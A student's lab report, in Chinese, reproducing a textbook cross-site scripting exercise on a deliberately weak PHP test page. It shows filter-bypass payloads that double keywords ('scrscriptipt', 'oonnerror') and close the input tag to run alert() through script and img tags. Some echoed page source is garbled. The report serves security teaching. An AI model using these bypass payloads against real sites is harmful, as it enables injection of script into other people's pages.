《跨站脚本攻击》

姓名：田晋宇 学号：2212039 班级：物联网工程

实验名称

跨站脚本攻击

实验要求

复现课本第十一章实验三，通过img和script两类方式实现跨站脚本攻击，撰写实验报告。有能力者可以自己撰写更安全的过滤机制。

实验过程

1. **创建XSS攻击测试网站**

```
<!DOCTYPE html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8" >
<script>
window.alert=function()
{
confirm("Congratulations~");
}
</script>
</head>
<body>
<h1 align= "center">--Welcome To The Simple XSS Test--</h1>
<?php
ini_set("display_errors",0);
$str=strtolower($_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
echo "<h2 align=center>Hello
".htmlspecialchars($str).".</h2>".'<center>
<form action=xss_test.php method=GET>
<input type=submit name=submit value=Submit />
<input name=keyword value="'.$str4.'">
</form>
</center>';
?>
</body>
</html>
```

这段代码是一个简单的Web页面，包含一个表单，用于测试XSS（跨站脚本攻击）。它接收用户输入的`keyword`参数，经过一系列的替换和处理后，显示在页面上。以下是对代码的详细分析：

HTML和JavaScript部分

- `<!DOCTYPE html>`：声明文档类型为HTML5。
- `<meta http-equiv="content-type" content="text/html;charset=utf-8">`：设置文档的字符编码为UTF-8。
- `<script>`标签内的代码重定义了`window.alert`函数，使其弹出一个带有"Congratulations~"消息的确认对话框。
- 页面包含一个居中的标题`--Welcome To The Simple XSS Test--`。

PHP部分

- `ini_set("display_errors", 0);`：关闭错误显示。
- `$str = strtolower($_GET["keyword"]);`：获取`GET`请求中的`keyword`参数，并将其转换为小写。
- `$str2 = str_replace("script", "", $str);`：将输入中的"script"字符串替换为空。
- `$str3 = str_replace("on", "", $str2);`：将输入中的"on"字符串替换为空。
- `$str4 = str_replace("src", "", $str3);`：将输入中的"src"字符串替换为空。
- `echo "<h2 align=center>Hello " . htmlspecialchars($str) . ".</h2>" . '<center><form action=xss_test.php method=GET><input type=submit name=submit value=Submit /><input name=keyword value="' . $str4 . '"></form></center>';`：输出一个包含用户输入的消息和表单的HTML代码。

代码及结果如下：

进入网址查看，正常输入和显示如下：

2. **Script实现XSS攻击**

- 黑盒测试

  在网页中可以看到与刚刚类似的界面，一个 Submit 按钮和输入框，以及标题提示 XSS。输入 XSS 脚本：`<script>alert('xss')</script>`来进行测试。点击 Submit 按钮以后，效果如下：

在输入框中输入简单的XSS脚本测试 `<script>alert('xss')</script>` 后，结果显示该脚本被过滤，只显示文本内容，而不执行任何脚本。

用户输入的 keyword 参数值为 `<script>alert('xss')</script>`，通过 GET 方法传递给 PHP 脚本。处理过程如下：

1. 首先，使用 str_replace("script", "", $str) 将 script 关键字移除，结果为 <alert('xss')>。
2. 接着，使用 str_replace("on", "", $str2)，因为字符串中没有 on 关键字，所以结果保持不变。
3. 最后，使用 str_replace("src", "", $str3)，由于字符串中也没有 src 关键字，所以结果也保持不变。

之后，使用 htmlspecialchars 函数对处理后的字符串进行 HTML 转义，将特殊字符转换为 HTML 实体，最终结果为 <alert('xss')>。

在网页中显示的是转义后的字符串：

```
<h2 align=center>Hello &lt;alert('xss')&gt;.</h2>
```

这意味着原本的脚本内容被作为普通文本显示，而不是作为可执行的 JavaScript 代码，从而避免了XSS攻击的发生。

利用双写关键字绕过， 构造脚本：

`<scrscriptipt>alert(‘xss’)</scrscriptipt>` 测试。执行效果如下：

注意到输入框中的回显内容确实与注入的攻击脚本 `<scrscriptipt>alert('xss')</scrscriptipt>` 相匹配，但该脚本并未在页面上执行。这表明虽然输入内容被显示，但没有被执行为脚本代码。

为了进一步分析这个问题，在页面右键并选择“查看页面源码”。通过查看页面源码，获取页面的源代码片段。分析这些源码片段，找到可能导致脚本不执行的原因，例如过滤和转义的处理逻辑：

```
<!DOCTYPE html>

<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8" >
    <script>
    window.alert=function()
    {
        confirm("Congratulations~");
    }


    </script>
</head>

<body>

    <h1 align= "center">--Welcome To The Simple XSS Test--</h1>
    <h2 align=center>Hello &lt;scrscriptipt&gt;alert( ‘xss’ )&lt;/scrscriptipt&gt;.</h2><center>
    <form action=xss_test.php method=GET>
    <input type=submit name=submit value=Submit />
    <input name=keyword value="<script>alert( ‘xss’ )</script>">
    </form>
    </center></body>
</html>
```

可以看到第6行重写的 alert 函数。如果可以成功执行 alert 函数，页面将会跳出一个确认框，显示 Congratulations~ 。这是XSS 成功攻击的的标志。查看 21行的标签，`<input name=keyword value="<script>alert('xss')</script>">`是唯一能输入且有可能控制的地方。虽然成功插`<script></script>`,但是并没有跳出 input 的标签，使得脚本仅仅可以回显而不能利用。这个时候需要让标签闭合，构造如下脚本：

`"><scrscriptipt>alert('XSS')</scscriptript><!--`使得之前的input标签闭合。

网页源代码：

```
<body>

<hl align= "center">--Welcome To The Simple XSS Test--</h1>

<h2 align=center>Hello&quot;&gt;&lt;scrscriptipt&gt;alert('xss')&lt;

/scscriptript&gt;&lt;!--.</h2><center>

<form action=xss_test. php method=GET>

<input type=submit name=submit value=Submit />

<input name=keyword value=""><script>alert('xss')</script><!--">

</form>

</center></body>

</html>
```

其中， "> 用来闭合前面的 标签。而 -- 其实是为了美观，用来注 释掉后面不需要的 "> ,否则页面就会在输入框后面回显 ">

弹出确认框，XSS 攻击成功。执行效果如下：

- 白盒测试

  白盒测试的源代码为：

```php
<?php
ini_set( "display_errors", 0);
$str=strtolower( $_GET[ "keyword"]);
$str2=str_replace( "script", "",$str);
$str3=str_replace( "on", "",$str2);
$str4=str_replace( "src", "",$str3);
echo "<h2 align=center>Hello ".htmlspecialchars($str). ". </h2>". '
<center>
<form action=xss_test.php method=GET>
<input type=submit name=submit value=Submit />
<input name=keyword value="'.$str4. '">
</form>
</center>';  ?>
```

分析上述代码可知，这些代码的逻辑与我们第2步中进行的黑盒测试所总结出的逻辑基本相符。但是 也有黑盒测试中没测试到的地方。比如， Hello 后面显示的值是经过小写转换的。输入框中回显值的过 滤方法是将 script 、 on 、 src 等关键字都替换成了空。所以我们如果修改 php 代码，将这些过滤全 部取消的话，我们也可以实施攻击。

3. **img方式实现XSS攻击**

利用img我们构造的脚本如下：

```
"><img ssrcrc=ops! oonnerror="alert('XSS')"><!-
```

网页源代码如下：

```
<body>
<hl align= "center">--Welcome To The Simple XSS Test--</h1>
<h2 align=center>Hello&quot;&gt;&lt;imgssrcrc=ops!oonnerror=&quot;
alert('xss')&quot;&gt;&1t;!--.</h2><center>
<form action=xss_test.php method=GET>
<input type=submit name=submit value=Submit />
<input name=keyword value=""><  img src=eps! onerror="alert('xss')"><!--">
</form>
</center></body>
</html>
```

这段代码的主要功能是展示一个含有XSS攻击代码的示例，通过插入恶意代码来演示XSS攻击的可能性。以下是一些关键点：

- **欢迎信息**：展示欢迎信息，但HTML标签使用错误（`<hl>`应为`<h1>`）。
- **含有XSS攻击代码的标题**：标题中包含恶意的XSS代码，通过引号和特殊字符来尝试引发脚本执行。
- **表单**：表单允许用户提交数据，并在输入框中默认插入了一段含有XSS攻击代码的`<img>`标签。

这种XSS攻击代码旨在通过恶意输入来操纵页面内容，可能会导致脚本执行并产生不良后果，如弹出警告框或更严重的攻击。在实际应用中，防止XSS攻击的关键是对用户输入进行严格的验证和处理，避免直接将用户输入插入到HTML中。

心得体会

通过这次实验，我对跨站脚本攻击（XSS）的原理和危害有了更加深刻的认识。XSS攻击利用了网页应用程序对用户输入验证不严的漏洞，可以通过注入恶意脚本窃取用户信息、冒充用户操作、传播恶意软件等。这次实验让我亲自实践了如何利用img和script标签进行XSS攻击，深刻体会到了XSS攻击的简单和有效。

在实验过程中，我不仅成功地展示了XSS攻击的威力，还通过改进代码来防御这种攻击。这使我意识到，在开发Web应用时，防御XSS攻击的关键在于对用户输入进行严格的过滤和转义，避免直接将用户输入嵌入到HTML中。使用`htmlspecialchars`函数对用户输入进行转义是一个有效的防御措施，但我也认识到，仅依赖单一的方法是不够的，综合运用多种安全措施才能更全面地防御攻击。

这次实验提升了我对Web安全的关注和重视。在今后的开发工作中，我会更加注重输入验证、输出转义等安全措施，确保应用程序的安全性和可靠性。通过这次实验，我不仅学到了如何实施和防御XSS攻击，更增强了编写安全代码的意识和能力。安全问题无处不在，只有不断学习和实践，才能有效应对不断变化的安全威胁，为用户提供更加安全的网络环境。